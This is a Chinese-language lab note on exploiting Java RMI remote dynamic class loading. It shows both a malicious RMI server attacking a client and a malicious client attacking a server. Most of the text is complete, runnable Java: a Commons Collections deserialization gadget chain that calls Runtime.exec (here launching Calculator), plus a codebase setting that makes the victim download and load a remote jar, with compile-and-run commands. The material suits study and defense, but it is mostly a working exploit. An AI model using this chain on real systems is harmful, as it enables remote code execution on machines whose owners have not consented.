Java 远程动态加载
在目标环境没有commons-collections-3.1.jar
时 可以在目标环境允许加载外部库时 从而进行利用
https://govuln.com/attachment/798/
服务端攻击客户端
恶意服务端 (192.168.0.104)
目录结构
RemoteHello.java
接口类
package Remote;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteHello extends Remote {
Object exp() throws RemoteException,Exception;
}
RemoteHelloImpl.java
接口实现类
package Remote;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;
public class RemoteHelloImpl implements RemoteHello {
public Object exp() throws Exception {
System.out.println("exp");
return payload(); //将生成的对象返回 然后传输前进行序列化
}
public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]
{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null,transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
//return instance;
return new String();
}
}
Index.java
package Remote;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class Index {
public static void main(String[] args) throws RemoteException,
MalformedURLException {
try {
System.setProperty("java.rmi.server.codebase",
"http://192.168.0.104:8000/commons-collections-3.1.jar"); //恶意服务端导入远程外部库
RemoteHello h = new RemoteHelloImpl();
RemoteHello skeleton = (RemoteHello)
UnicastRemoteObject.exportObject(h, 0);
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
} catch (RemoteException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
编译和运行时导入 commons-collections-3.1.jar 库
javac -cp ../RMI/javalass/commons-collections-3.1.jar:. *.java && mv *.class Remote && java -cp ../RMI/javalass/commons-collections-3.1.jar:. Remote.Index
远程库 (192.168.0.104:8000)
客户端(192.168.0.104)
不含commons-collections-3.1.jar 环境为 jdk7 (需要满足最上面两个条件)
目录结构
RemoteHello.java
package Remote;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteHello extends Remote {
Object exp() throws RemoteException,Exception;
}
RMIClient.java
package Remote;
import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws Exception {
System.setProperty("java.security.policy",RMIClient.class.getResource("../policy").getFile());// 需要注意getResource 的路径 否则会爆错
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
Registry registry = LocateRegistry.getRegistry("192.168.0.104", 1099);
// 查找名称为"Hello"的服务并强制转型为Hello接⼝:
RemoteHello h = (RemoteHello) registry.lookup("Hello");
Object rs = h.exp();
System.out.println(rs);
}
}
policy
grant {
permission java.security.AllPermission;
};
编译的时候需要设置java.rmi.server.useCodebaseOnly=false
javac *.java && mv *.class Remote && java -Dfile.encoding=UTF-8 -Djava.rmi.server.useCodebaseOnly=false Remote.RMIClient
客户端执行之后
http服务访问情况
流程
流量情况 (在return data 里返回了远程包的地址)
只有客户端使用到相关类的时候才回去加载远程的库 ,否则 不会去加载
如下进行修改
虽然返回了远程库地址 但没有发送http请求
客户端攻击服务端
服务端
目录结构
RemoteHello.java
package Remote1;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteHello extends Remote {
String exp(Object obj) throws RemoteException,Exception;
}
RemoteHelloImpl.java
package Remote1;
import java.rmi.RemoteException;
public class RemoteHelloImpl implements RemoteHello {
public String exp(Object obj) throws RemoteException,Exception {
return "ok";
}
}
RMIServer.java
package Remote1;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public static void main(String[] args) throws RemoteException,
MalformedURLException {
System.setProperty("java.security.policy",
RMIServer.class.getResource("../policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
RemoteHello h = new RemoteHelloImpl();
RemoteHello skeleton = (RemoteHello) UnicastRemoteObject.exportObject(h, 0);
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
}
Policy 同上
恶意客户端
RemoteHello.java
package Remote1;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteHello extends Remote {
String exp(Object obj) throws RemoteException,Exception;
}
RemoteClient.java
package Remote1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RemoteClient {
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.server.codebase",
"http://192.168.0.104:8000/commons-collections-3.1.jar");
Registry registry = LocateRegistry.getRegistry("192.168.0.100", 1099);
RemoteHello h = (RemoteHello) registry.lookup("Hello");
String rs = h.exp(payload());
System.out.println(rs);
}
public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,
Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
服务端运行(mac)
javac *.java && mv *.class Remote1 && java -Dfile.encoding=UTF-8 -Djava.rmi.server.useCodebaseOnly=false Remote1.RMIServer
客户端运行(ubuntu)
javac -cp ../RMI/javalass/commons-collections-3.1.jar:. *.java && mv *.class Remote1 && java -cp ../RMI/javalass/commons-collections-3.1.jar:. Remote1.RemoteClient
效果